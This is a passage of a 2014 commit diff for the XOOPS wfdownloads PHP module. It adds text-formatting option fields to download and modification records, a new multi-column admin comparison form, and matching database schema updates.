- if ($download->getVar($key) != '') $downloadContent = "<img src='" . XOOPS_URL . "/{$wfdownloads->getConfig('screenshots')}/{$download->getVar($key)}' width='{$wfdownloads->getConfig('shotwidth')}' alt='' title='' />";
+ case "summary":
+ case "description":
+ $downloadContent = $downloadContent;
//
- if ($modification->getVar($key) != '') $modificationContent = "<img src='" . XOOPS_URL . "/{$wfdownloads->getConfig('screenshots')}/{$modification->getVar($key)}' width='{$wfdownloads->getConfig('shotwidth')}' alt='' title='' />";
+ $modificationContent = $modificationContent;
break;
case "offline":
- $downloadContent = $download->getVar($key) ? _YES : _NO;
+ case "dohtml":
+ case "dosmiley":
+ case "doxcode":
+ case "doimage":
+ case "dobr":
+ $downloadContent = $downloadContent ? _YES : _NO;
//
- $modificationContent = $modification->getVar($key) ? _YES : _NO;
-
+ $modificationContent = $modificationContent ? _YES : _NO;
}
- if (isset($editContentFormElement)) {
- $editContentFormElement->setName($key); // patch to solve a XoopsFormDateTime bug
- $editContentFormElement->setCaption($caption);
- $editContentFormElement->setDescription($description);
- $sform->addElement(new WfdownloadsFormElementChoose($editContentFormElement, $downloadContent, $modificationContent));
- unset($editContentFormElement);
+ $mcform->addElement($caption, false, $i, 0);
+ if ($downloadContent != $modificationContent) {
+ $modificationContent = "<span style='color:red'>" . $modificationContent . "</span>";
}
+ $downloadFormElement = new XoopsFormLabel('', $downloadContent);
+ $modificationFormElement = new XoopsFormLabel('', $modificationContent);
+ $mcform->addElement($downloadFormElement, false, $i, 1);
+ $mcform->addElement($modificationFormElement, false, $i, 2);
+ $i++;
}
$button_tray = new XoopsFormElementTray('', '');
$button_tray->addElement(new XoopsFormHidden('requestid', $requestid));
$button_tray->addElement(new XoopsFormHidden('lid', (int)$modification->getVar('lid')));
- $hidden = new XoopsFormHidden('op', 'modification.change');
+ $hidden = new XoopsFormHidden('op', 'modification.change');
$button_tray->addElement($hidden);
if (!$modification->isNew()) {
- $button_approve = new XoopsFormButton('', '', _SUBMIT, 'submit');
- $button_approve->setExtra('onclick="this.form.elements.op.value=\'modification.save\'"');
- $button_tray->addElement($button_approve);
+ $approve_button = new XoopsFormButton('', '', _AM_WFDOWNLOADS_BAPPROVE, 'submit');
+ $approve_button->setExtra('onclick="this.form.elements.op.value=\'modification.change\'"');
+ $button_tray->addElement($approve_button);
}
- $button_ignore = new XoopsFormButton('', '', _AM_WFDOWNLOADS_MOD_IGNORE, 'submit');
- $button_ignore->setExtra('onclick="this.form.elements.op.value=\'modification.ignore\'"');
- $button_tray->addElement($button_ignore);
- $button_reset = new XoopsFormButton('', '', _RESET, 'reset');
- $button_tray->addElement($button_reset);
+ $ignore_button = new XoopsFormButton('', '', _AM_WFDOWNLOADS_BIGNORE, 'submit');
+ $ignore_button->setExtra('onclick="this.form.elements.op.value=\'modification.ignore\'"');
+ $button_tray->addElement($ignore_button);
$button_cancel = new XoopsFormButton('', '', _CANCEL, 'button');
$button_cancel->setExtra('onclick="history.go(-1)"');
$button_tray->addElement($button_cancel);
- $sform->addElement($button_tray);
- $sform->display();
+ $mcform->addElement($button_tray, false, $i, 2);
+ $mcform->display();
+
xoops_cp_footer();
exit();
break;
- case "modification.save" :
- $requestid = WfdownloadsRequest::getInt('requestid', 0);
-
- $modification = $wfdownloads->getHandler('modification')->get($requestid);
- $download = $wfdownloads->getHandler('download')->get($modification->getVar('lid'));
-
- if ($modification->getVar('version') == $download->getVar('version')) {
- $raiseModifyEvents = false;
- } else {
- $raiseModifyEvents = true;
- }
-// IN PROGRESS FROM HERE
-// IN PROGRESS FROM HERE
-// IN PROGRESS FROM HERE
- // SAVE MODIFIED FIELDS
-
- // DELETE MODIFICATIONREQUEST
-// IN PROGRESS FROM HERE
-// IN PROGRESS FROM HERE
-// IN PROGRESS FROM HERE
- if ($raiseModifyEvents) {
- // Trigger the three events related to modified files (one for the file, category, and global event categories respectively)
- $tags = array();
- $tags['FILE_NAME'] = $download->getVar('title');
- $tags['FILE_URL'] = WFDOWNLOADS_URL . '/singlefile.php?cid=' . $cid . '&lid=' . $lid;
- $category = $wfdownloads->getHandler('category')->get($cid);
- $tags['FILE_VERSION'] = $download->getVar('version');
- $tags['CATEGORY_NAME'] = $category->getVar('title');
- $tags['CATEGORY_URL'] = WFDOWNLOADS_URL . '/viewcat.php?cid=' . $cid;
-
- $notification_handler->triggerEvent('global', 0, 'filemodified', $tags);
- $notification_handler->triggerEvent('category', $cid, 'filemodified', $tags);
- $notification_handler->triggerEvent('file', $lid, 'filemodified', $tags);
- }
-
- redirect_header(WFDOWNLOADS_URL . '/admin/index.php', 1, _AM_WFDOWNLOADS_MOD_REQUPDATED);
- break;
-
case "modification.change" :
/* Added by Lankford on 2007/3/21 */
// Get a pointer to the download record and the modification record, then compare their 'versions' to see if they are different. If they are, then raise filemodify events.
@@ -505,7 +383,7 @@
$start_modification = WfdownloadsRequest::getInt('start_modification', 0);
$modifications_count = $wfdownloads->getHandler('modification')->getCount();
- $criteria = new CriteriaCompo();
+ $criteria = new CriteriaCompo();
$criteria->setLimit($wfdownloads->getConfig('admin_perpage'));
$criteria->setStart($start_modification);
$criteria->setSort("requestdate");
@@ -536,7 +414,7 @@
$xoopsTpl->assign('use_reviews', $wfdownloads->getConfig('enable_reviews'));
$xoopsTpl->assign('use_brokenreports', $wfdownloads->getConfig('enable_brokenreports'));
- $GLOBALS['xoopsTpl']->display("db:" . $wfdownloads->getModule()->dirname() . "_admin_reportsmodificationslist.html");
+ $GLOBALS['xoopsTpl']->display("db:{$wfdownloads->getModule()->dirname()}_admin_reportsmodificationslist.html");
include 'admin_footer.php';
break;
Modified: XoopsModules/wfdownloads/trunk/wfdownloads/class/download.php
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/class/download.php 2014-02-14 04:30:50 UTC (rev 12309)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/class/download.php 2014-02-14 18:11:08 UTC (rev 12310)
@@ -82,19 +82,17 @@
$this->initVar('description', XOBJ_DTYPE_TXTAREA, '');
$this->initVar('ipaddress', XOBJ_DTYPE_TXTBOX, '');
$this->initVar('notifypub', XOBJ_DTYPE_INT, 0);
-
- $this->initVar('dohtml', XOBJ_DTYPE_INT, 1, false); // boolean
- $this->initVar('dosmiley', XOBJ_DTYPE_INT, 1, false); // boolean
- $this->initVar('doxcode', XOBJ_DTYPE_INT, 1, false); // boolean
- $this->initVar('doimage', XOBJ_DTYPE_INT, 1, false); // boolean
- $this->initVar('dobr', XOBJ_DTYPE_INT, 1, false); // boolean
-
- // Added Formulize module support (2006/05/04) jpc
+ // added Formulize module support (2006/05/04) jpc
$this->initVar('formulize_idreq', XOBJ_DTYPE_INT, 0);
-
- // Added 3.23
+ // added 3.23
$this->initVar('screenshots', XOBJ_DTYPE_ARRAY, array());
+ $this->initVar('dohtml', XOBJ_DTYPE_INT, false); // boolean
+ $this->initVar('dosmiley', XOBJ_DTYPE_INT, true); // boolean
+ $this->initVar('doxcode', XOBJ_DTYPE_INT, true); // boolean
+ $this->initVar('doimage', XOBJ_DTYPE_INT, true); // boolean
+ $this->initVar('dobr', XOBJ_DTYPE_INT, true); // boolean
+
if (isset($id)) {
$item = $this->wfdownloads->getHandler('item')->get($id);
foreach ($item->vars as $k => $v) {
@@ -576,9 +574,29 @@
), 15, 60, 'smartHiddenDescription');
$description_dhtmltextarea->setDescription(_MD_WFDOWNLOADS_DESCRIPTION_DESC);
$sform->addElement($description_dhtmltextarea, true);
+ // download: dohtml, dosmiley, doxcode, doimage, dobr
+ $options_tray = new XoopsFormElementTray(_AM_WFDOWNLOADS_TEXTOPTIONS, '<br />');
+ $html_checkbox = new XoopsFormCheckBox('', 'dohtml', $this->getVar('dohtml'));
+ $html_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWHTML);
+ $options_tray->addElement($html_checkbox);
+ $smiley_checkbox = new XoopsFormCheckBox('', 'dosmiley', $this->getVar('dosmiley'));
+ $smiley_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWSMILEY);
+ $options_tray->addElement($smiley_checkbox);
+ $xcodes_checkbox = new XoopsFormCheckBox('', 'doxcode', $this->getVar('doxcode'));
+ $xcodes_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWXCODE);
+ $options_tray->addElement($xcodes_checkbox);
+ $noimages_checkbox = new XoopsFormCheckBox('', 'doimage', $this->getVar('doimage'));
+ $noimages_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWIMAGES);
+ $options_tray->addElement($noimages_checkbox);
+ $breaks_checkbox = new XoopsFormCheckBox('', 'dobr', $this->getVar('dobr'));
+ $breaks_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWBREAK);
+ $options_tray->addElement($breaks_checkbox);
+ $sform->addElement($options_tray);
+ // download: features
$features_textarea = new XoopsFormTextArea(_MD_WFDOWNLOADS_KEYFEATURESC, 'features', $this->getVar('features', 'e'), 7, 60);
$features_textarea->setDescription(_MD_WFDOWNLOADS_KEYFEATURESC_DESC);
$sform->addElement($features_textarea, false);
+ // download: requirements
$requirements_textarea = new XoopsFormTextArea(_MD_WFDOWNLOADS_REQUIREMENTSC, 'requirements', $this->getVar(
'requirements',
'e'
@@ -817,6 +835,24 @@
$description_tray->addElement($description_editor, true);
$description_tray->setDescription(_MD_WFDOWNLOADS_DESCRIPTION_DESC);
$sform->addElement($description_tray);
+ // download: dohtml, dosmiley, doxcode, doimage, dobr
+ $options_tray = new XoopsFormElementTray(_AM_WFDOWNLOADS_TEXTOPTIONS, '<br />');
+ $html_checkbox = new XoopsFormCheckBox('', 'dohtml', $this->getVar('dohtml'));
+ $html_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWHTML);
+ $options_tray->addElement($html_checkbox);
+ $smiley_checkbox = new XoopsFormCheckBox('', 'dosmiley', $this->getVar('dosmiley'));
+ $smiley_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWSMILEY);
+ $options_tray->addElement($smiley_checkbox);
+ $xcodes_checkbox = new XoopsFormCheckBox('', 'doxcode', $this->getVar('doxcode'));
+ $xcodes_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWXCODE);
+ $options_tray->addElement($xcodes_checkbox);
+ $noimages_checkbox = new XoopsFormCheckBox('', 'doimage', $this->getVar('doimage'));
+ $noimages_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWIMAGES);
+ $options_tray->addElement($noimages_checkbox);
+ $breaks_checkbox = new XoopsFormCheckBox('', 'dobr', $this->getVar('dobr'));
+ $breaks_checkbox->addOption(1, _AM_WFDOWNLOADS_ALLOWBREAK);
+ $options_tray->addElement($breaks_checkbox);
+ $sform->addElement($options_tray);
// download: features
$sform->addElement(new XoopsFormTextArea(_AM_WFDOWNLOADS_FILE_KEYFEATURES, 'features', $this->getVar('features', 'e'), 7, 60), false);
// download: requirements
Modified: XoopsModules/wfdownloads/trunk/wfdownloads/class/modification.php
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/class/modification.php 2014-02-14 04:30:50 UTC (rev 12309)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/class/modification.php 2014-02-14 18:11:08 UTC (rev 12310)
@@ -31,14 +31,10 @@
{
$this->WfdownloadsDownload();
$this->initVar('requestid', XOBJ_DTYPE_INT);
-
+ //
$this->initVar('modifysubmitter', XOBJ_DTYPE_INT, 0);
$this->initVar('requestdate', XOBJ_DTYPE_INT, 0);
-
-
-//
-// $this->wfdownloads = WfdownloadsWfdownloads::getInstance();
-// $this->db = XoopsDatabaseFactory::getDatabaseConnection();
+ //
$this->initVar('lid', XOBJ_DTYPE_INT);
$this->initVar('cid', XOBJ_DTYPE_INT, 0);
$this->initVar('title', XOBJ_DTYPE_TXTBOX, '');
@@ -80,6 +76,12 @@
$this->initVar('description', XOBJ_DTYPE_TXTAREA, '');
// $this->initVar('ipaddress', XOBJ_DTYPE_TXTBOX, '');
// $this->initVar('notifypub', XOBJ_DTYPE_INT, 0);
+ // added 3.23
+ $this->initVar('dohtml', XOBJ_DTYPE_INT, false); // boolean
+ $this->initVar('dosmiley', XOBJ_DTYPE_INT, true); // boolean
+ $this->initVar('doxcode', XOBJ_DTYPE_INT, true); // boolean
+ $this->initVar('doimage', XOBJ_DTYPE_INT, true); // boolean
+ $this->initVar('dobr', XOBJ_DTYPE_INT, true); // boolean
//Obsolete
@@ -142,7 +144,12 @@
d.dhistory = m.dhistory,
d.updated = m.updated,
d.summary = m.summary,
- d.description = m.description";
+ d.description = m.description,
+ d.dohtml = m.dohtml,
+ d.dosmiley = m.dosmiley,
+ d.doxcode = m.doxcode,
+ d.doimage = m.doimage,
+ d.dobr = m.dobr";
$sql .= " WHERE d.lid = m.lid AND m.requestid='{$requestid}'";
if ($this->db->query($sql)) {
return $this->deleteAll(new Criteria('requestid', (int)$requestid));
Added: XoopsModules/wfdownloads/trunk/wfdownloads/class/multicolumnsthemeform.php
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/class/multicolumnsthemeform.php (rev 0)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/class/multicolumnsthemeform.php 2014-02-14 18:11:08 UTC (rev 12310)
@@ -0,0 +1,237 @@
+<?php
+/*
+ You may not change or alter any portion of this comment or credits
+ of supporting developers from this source code or any supporting source code
+ which is considered copyrighted (c) material of the original comment or credit authors.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+/**
+ * WfdownloadsMulticolumnsThemeForm Class
+ *
+ * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
+ * @license http://www.fsf.org/copyleft/gpl.html GNU public license
+ * @author lucio <luc...@gm...>
+ * @package Wfdownloads
+ * @since 3.23
+ * @version $Id:$
+ */
+
+defined('XOOPS_ROOT_PATH') or die('Restricted access');
+
+xoops_load('XoopsForm');
+
+/**
+ * Form that will output formatted as a HTML table
+ *
+ * No styles and no JavaScript to check for required fields.
+ */
+class WfdownloadsMulticolumnsThemeForm extends XoopsForm
+{
+ /**
+ * number of two-dimensional array (matrix) rows
+ *
+ * @var int
+ */
+ var $_rows = 0;
+
+ /**
+ * return number of rows
+ *
+ * @return int
+ */
+ public function getCountRows()
+ {
+ return $this->_rows;
+ }
+
+ /**
+ * number of two-dimensional array (matrix) columns
+ *
+ * @var int
+ */
+ var $_columns = 0;
+
+ /**
+ * return number of columns
+ *
+ * @return int
+ */
+ public function getCountColumns()
+ {
+ return $this->_columns;
+ }
+
+ /**
+ * two-dimensional array (matrix) of {@link XoopsFormElement} objects
+ *
+ * @var array
+ */
+ var $_elements = array();
+
+ /**
+ * mono-dimensional array of column titles
+ *
+ * @var array
+ */
+ var $_titles = array();
+
+ /**
+ * Add an element to the form
+ *
+ * @param object $ &$formElement reference to a {@link XoopsFormElement}
+ * @param bool $required is this a "required" element?
+ * @param int $row two-dimensional array (matrix) row (0 first key)
+ * @param int $column two-dimensional array (matrix) column (0 first key)
+ */
+ public function addElement($formElement, $required = false, $row = null, $column = null)
+ {
+ if (is_null($row))
+ $row = $this->_rows;
+ if (is_null($column))
+ $column = ($this->_columns == 0) ? $this->_columns : $this->_columns - 1; // add new element as new row of the last column
+ if (is_string($formElement)) {
+ $this->_elements[$row][$column] = $formElement;
+ if ($row >= $this->_rows)
+ $this->_rows = $row + 1;
+ if ($column >= $this->_columns)
+ $this->_columns = $column + 1;
+ } elseif (is_subclass_of($formElement, 'xoopsformelement')) {
+ $this->_elements[$row][$column] = &$formElement;
+ if ($row >= $this->_rows)
+ $this->_rows = $row + 1;
+ if ($column >= $this->_columns)
+ $this->_columns = $column + 1;
+ if (! $formElement->isContainer()) {
+ if ($required) {
+ $formElement->_required = true;
+ $this->_required[] = &$formElement;
+ }
+ } else {
+ $required_elements = &$formElement->getRequired();
+ $count = count($required_elements);
+ for ($i = 0; $i < $count; $i ++) {
+ $this->_required[] = &$required_elements[$i];
+ }
+ }
+ }
+ }
+
+ public function addRow($elements)
+ {
+ foreach ($elements as $key => $element) {
+ $this->addElement($element, false, $this->_rows, $key);
+ }
+ }
+
+ public function addColumn($elements)
+ {
+ foreach ($elements as $key => $element) {
+ $this->addElement($element, false, $key, $this->_columns);
+ }
+ }
+
+ public function addForm($form)
+ {
+ foreach ($form->getElements() as $element) {
+ $this->addElement($element, $element->isRequired(), $key, $this->_columns);
+ }
+ }
+
+ public function setTitles($titles)
+ {
+ if (is_array($titles)) {
+ foreach($titles as $key => $title) {
+ $this->_titles[$key] = $title;
+ }
+ } else {
+ $this->_title = $titles;
+ }
+ }
+
+ /**
+ * create HTML to output the form as a theme-enabled table with validation.
+ *
+ * YOU SHOULD AVOID TO USE THE FOLLOWING Nocolspan METHOD, IT WILL BE REMOVED
+ *
+ * To use the noColspan simply use the following example:
+ *
+ * $colspan = new XoopsFormDhtmlTextArea( '', 'key', $value, '100%', '100%' );
+ * $colspan->setNocolspan();
+ * $form->addElement( $colspan );
+ *
+ * @return string
+ */
+ function render()
+ {
+ $ele_name = $this->getName();
+ $ret = "";
+ $ret .= "<form name='{$ele_name}' id='{$ele_name}' action='{$this->getAction()}' method='{$this->getMethod()}' onsubmit='return xoopsFormValidate_{$ele_name}();' {$this->getExtra()} >" . NWLINE;
+ $ret .= "<table width='100%' class='outer' cellspacing='1'>" . NWLINE;
+ $ret .= "<tr><th colspan='{$this->_columns}'>{$this->getTitle()}</th></tr>" . NWLINE;
+ if (count($this->_titles) > 0) {
+ $ret .= "<tr>";
+ for ($column = 0; $column < $this->_columns; $column++) {
+ $ret .= "<th>";
+ $ret .= (isset($this->_titles[$column])) ? "{$this->_titles[$column]}" : " ";
+ $ret .= "</th>" . NWLINE;
+ }
+ $ret .= "</tr>";
+ }
+ $hidden = '';
+ $class = 'even';
+ for ($row = 0; $row < $this->_rows; $row++) {
+ $ret .= "<tr>";
+ for ($column = 0; $column < $this->_columns; $column++) {
+ $ret .= "<td class='{$class}'>";
+ if (isset($this->_elements[$row][$column])) {
+ $ele = $this->_elements[$row][$column];
+ } else {
+ $ele = ' ';
+ }
+ if (!is_object($ele)) {
+ $ret .= $ele;
+ } else if (!$ele->isHidden()) {
+ if (!$ele->getNocolspan()) {
+ //$ret .= '<tr valign="top" align="left"><td class="head">';
+ if (($caption = $ele->getCaption()) != '') {
+ $ret .= "<div class='xoops-form-element-caption" . ($ele->isRequired() ? '-required' : '') . "'>";
+ $ret .= "<span class='caption-text'>{$caption}</span>";
+ $ret .= "<span class='caption-marker'>*</span>";
+ $ret .= "</div>";
+ }
+ if (($desc = $ele->getDescription()) != '') {
+ $ret .= "<div class='xoops-form-element-help'>{$desc}</div>";
+ }
+ //$ret .= '</td><td class="' . $class . '">';
+ $ret .= $ele->render();
+ //$ret .= '</td></tr>' . NWLINE;
+ } else {
+ //$ret .= '<tr valign="top" align="left"><td class="head" colspan="2">';
+ if (($caption = $ele->getCaption()) != '') {
+ $ret .= "<div class='xoops-form-element-caption" . ($ele->isRequired() ? '-required' : '') . "'>";
+ $ret .= "<span class='caption-text'>{$caption}</span>";
+ $ret .= "<span class='caption-marker'>*</span>";
+ $ret .= "</div>";
+ }
+ //$ret .= '</td></tr>' . NWLINE;
+ //$ret .= '<tr valign="top" align="left"><td class="' . $class . '" colspan="' . $this->_columns . '">';
+ $ret .= $ele->render();
+ //$ret .= '</td></tr>' . NWLINE;
+ }
+ } else {
+ $hidden .= $ele->render();
+ }
+ $ret .= "</td>";
+ }
+ $ret .= "</tr>";
+ }
+ $ret .= "</table>" . NWLINE;
+ $ret .= "{$hidden}" . NWLINE;
+ $ret .= "</form>" . NWLINE;
+ $ret .= $this->renderValidationJS(true);
+ return $ret;
+ }
+}
\ No newline at end of file
Modified: XoopsModules/wfdownloads/trunk/wfdownloads/docs/changelog.txt
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/docs/changelog.txt 2014-02-14 04:30:50 UTC (rev 12309)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/docs/changelog.txt 2014-02-14 18:11:08 UTC (rev 12310)
@@ -1,4 +1,4 @@
-<b><u>=> Version 3.23 Beta (2014-02-04)</u></b>
+<b><u>=> Version 3.23 Beta (2014-02-14)</u></b>
- update jQuery Thickbox plugin to 3.1 (luciorota)
- fixed: jQuery bug in templates (luciorota)
- standardization of English language files (cesag)
@@ -16,8 +16,9 @@
- fixed: html errors in templates (luciorota)
- fixed: deprecated XoopsTree (mamba)
- fixed: English translations (mamba)
-- added: admin can upload images directly form category/indexpage form (luciorota)
+- added: dohtm, dosmiley ,doxcode, doimage, dobr fields to download object (luciorota)
- added: updating to XOOPS 2.5.7 Multi-page help (mamba)
+- added: updating to XOOPS 2.5.7 Multi-page help (mamba)
- added: enable/disable reviews system (luciorota)
- added: enable/disable ratings system (luciorota)
- added: enable/disable brokens reports system (luciorota)
Modified: XoopsModules/wfdownloads/trunk/wfdownloads/include/common.php
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/include/common.php 2014-02-14 04:30:50 UTC (rev 12309)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/include/common.php 2014-02-14 18:11:08 UTC (rev 12310)
@@ -41,8 +41,10 @@
include_once WFDOWNLOADS_ROOT_PATH . '/class/breadcrumb.php'; // WfdownloadsBreadcrumb class
include_once WFDOWNLOADS_ROOT_PATH . '/class/tree.php'; // WfdownloadsObjectTree class
include_once WFDOWNLOADS_ROOT_PATH . '/class/xoopstree.php'; // WfdownloadsXoopsTree class
-include_once WFDOWNLOADS_ROOT_PATH . '/class/formelementchoose.php'; // WfdownloadsFormElementChoose class
+//include_once WFDOWNLOADS_ROOT_PATH . '/class/formelementchoose.php'; // WfdownloadsFormElementChoose class
+include_once WFDOWNLOADS_ROOT_PATH . '/class/multicolumnsthemeform.php'; // WfdownloadsMulticolumnsThemeForm class
+
xoops_load('XoopsUserUtility');
// MyTextSanitizer object
$myts = MyTextSanitizer::getInstance();
Modified: XoopsModules/wfdownloads/trunk/wfdownloads/include/module.php
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/include/module.php 2014-02-14 04:30:50 UTC (rev 12309)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/include/module.php 2014-02-14 18:11:08 UTC (rev 12310)
@@ -78,6 +78,7 @@
{
$dbupdater = new WfdownloadsDbupdater();
+ // update wfdownloads_downloads table
$download_fields = array(
"lid" => array("Type" => "int(11) unsigned NOT NULL auto_increment", "Default" => false),
"cid" => array("Type" => "int(5) unsigned NOT NULL default '0'", "Default" => true),
@@ -121,23 +122,101 @@
"notifypub" => array("Type" => "int(1) NOT NULL default '0'", "Default" => true),
"summary" => array("Type" => "text NOT NULL", "Default" => false),
"formulize_idreq" => array("Type" => "int(5) NOT NULL default '0'", "Default" => true),
- "screenshots" => array("Type" => "text NOT NULL default ''", "Default" => true)
+ // added 3.23
+ "screenshots" => array("Type" => "text NOT NULL default ''", "Default" => true),
+ "dohtml" => array("Type" => "tinyint(1) NOT NULL default '0'", "Default" => true),
+ "dosmiley" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true),
+ "doxcode" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true),
+ "doimage" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true),
+ "dobr" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true)
);
//$renamed_fields = array(
// "old_name" => "new_name"
//);
- echo "<br /><B>Checking Download table</B><br />";
+ echo "<br /><b>Checking Download table</b><br />";
$download_handler = xoops_getmodulehandler('download', 'wfdownloads');
$download_table = new WfdownloadsTable("wfdownloads_downloads");
$fields = get_table_info($download_handler->table, $download_fields);
- // Check for renamed fields
+ // check for renamed fields
//rename_fields($download_table, $renamed_fields, $fields, $download_fields);
+ // check for updated fields
update_table($download_fields, $fields, $download_table);
if ($dbupdater->updateTable($download_table)) {
echo "Downloads table updated<br />";
}
unset($fields);
+ // update wfdownloads_mod table
+ $mod_fields = array(
+ "requestid" => array("Type" => "int(11) NOT NULL auto_increment", "Default" => false),
+ //
+ "modifysubmitter" => array("Type" => "int(11) NOT NULL default '0'", "Default" => true),
+ "requestdate" => array("Type" => "int(11) NOT NULL default '0'", "Default" => true),
+ //
+ "lid" => array("Type" => "int(11) unsigned NOT NULL default '0'", "Default" => true),
+ "cid" => array("Type" => "int(5) unsigned NOT NULL default '0'", "Default" => true),
+ "title" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "url" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "filename" => array("Type" => "varchar(150) NOT NULL default ''", "Default" => true),
+ "filetype" => array("Type" => "varchar(100) NOT NULL default ''", "Default" => true),
+ "homepage" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "version" => array("Type" => "varchar(20) NOT NULL default ''", "Default" => true),
+ "size" => array("Type" => "int(8) NOT NULL default '0'", "Default" => true),
+ "platform" => array("Type" => "varchar(50) NOT NULL default ''", "Default" => true),
+ "screenshot" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "screenshot2" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "screenshot3" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "screenshot4" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "submitter" => array("Type" => "int(11) NOT NULL default '0'", "Default" => true),
+ "publisher" => array("Type" => "text NOT NULL", "Default" => false),
+ "status" => array("Type" => "tinyint(2) NOT NULL default '" . _WFDOWNLOADS_STATUS_WAITING . "'", "Default" => true),
+ "date" => array("Type" => "int(10) NOT NULL default '0'", "Default" => true),
+ "hits" => array("Type" => "int(11) unsigned NOT NULL default '0'", "Default" => true),
+ "rating" => array("Type" => "double(6,4) NOT NULL default '0.0000'", "Default" => true),
+ "votes" => array("Type" => "int(11) unsigned NOT NULL default '0'", "Default" => true),
+ "comments" => array("Type" => "int(11) unsigned NOT NULL default '0'", "Default" => true),
+ "license" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "mirror" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "price" => array("Type" => "varchar(10) NOT NULL default 'Free'", "Default" => true),
+ "paypalemail" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "features" => array("Type" => "text NOT NULL", "Default" => false),
+ "requirements" => array("Type" => "text NOT NULL", "Default" => false),
+ "homepagetitle" => array("Type" => "varchar(255) NOT NULL default ''", "Default" => true),
+ "forumid" => array("Type" => "int(11) NOT NULL default '0'", "Default" => true),
+ "limitations" => array("Type" => "varchar(255) NOT NULL default '30 day trial'", "Default" => true),
+ "versiontypes" => array("Type" => "varchar(255) NOT NULL default 'None'", "Default" => true),
+ "dhistory" => array("Type" => "text NOT NULL", "Default" => false),
+ 'published' => array("Type" => "int(10) NOT NULL default '0'", "Default" => true),
+ "expired" => array("Type" => "int(10) NOT NULL default '0'", "Default" => true),
+ "updated" => array("Type" => "int(11) NOT NULL default '0'", "Default" => true),
+ "offline" => array("Type" => "tinyint(1) NOT NULL default '0'", "Default" => true),
+ "summary" => array("Type" => "text NOT NULL", "Default" => false),
+ "description" => array("Type" => "text NOT NULL", "Default" => false),
+ // ???
+ "formulize_idreq" => array("Type" => "int(5) NOT NULL default '0'", "Default" => true),
+ // added 3.23
+ "dohtml" => array("Type" => "tinyint(1) NOT NULL default '0'", "Default" => true),
+ "dosmiley" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true),
+ "doxcode" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true),
+ "doimage" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true),
+ "dobr" => array("Type" => "tinyint(1) NOT NULL default '1'", "Default" => true)
+ );
+ //$renamed_fields = array(
+ // "old_name" => "new_name"
+ //);
+ echo "<br /><B>Checking Modified Downloads table</B><br />";
+ $mod_handler = xoops_getmodulehandler('modification', 'wfdownloads');
+ $mod_table = new WfdownloadsTable("wfdownloads_mod");
+ $fields = get_table_info($mod_handler->table, $mod_fields);
+ // check for renamed fields
+ //rename_fields($mod_table, $renamed_fields, $fields, $mod_fields);
+ // check for updated fields
+ update_table($mod_fields, $fields, $mod_table);
+ if ($dbupdater->updateTable($mod_table)) {
+ echo "Modified Downloads table updated <br />";
+ }
+ unset($fields);
+
}
// =========================================================================================
@@ -172,15 +251,15 @@
{
$dbupdater = new WfdownloadsDbupdater();
+ // create wfdownloads_meta table
if (!wfdownloads_tableExists('wfdownloads_meta')) {
- // Create table wfdownloads_meta
$table = new WfdownloadsTable('wfdownloads_meta');
$table->setStructure(
"CREATE TABLE %s (
- metakey varchar(50) NOT NULL default '',
- metavalue varchar(255) NOT NULL default '',
- PRIMARY KEY (metakey))
- ENGINE=MyISAM;"
+ metakey varchar(50) NOT NULL default '',
+ metavalue varchar(255) NOT NULL default '',
+ PRIMARY KEY (metakey))
+ ENGINE=MyISAM;"
);
$table->setData(sprintf("'version', %s", round($GLOBALS['xoopsModule']->getVar('version') / 100, 2)));
if ($dbupdater->updateTable($table)) {
@@ -188,48 +267,49 @@
}
}
+ // create wfdownloads_mirror table
if (!wfdownloads_tableExists('wfdownloads_mirrors')) {
- // Create table wfdownloads_mirror
$table = new WfdownloadsTable('wfdownloads_mirrors');
$table->setStructure(
"CREATE TABLE %s (
- mirror_id int(11) unsigned NOT NULL auto_increment,
- lid int(11) NOT NULL default '0',
- title varchar(255) NOT NULL default '',
- homeurl varchar(100) NOT NULL default '',
- location varchar(255) NOT NULL default '',
- continent varchar(255) NOT NULL default '',
- downurl varchar(255) NOT NULL default '',
- submit int(11) NOT NULL default '0',
- date int(11) NOT NULL default '0',
- uid int(10) NOT NULL default '0',
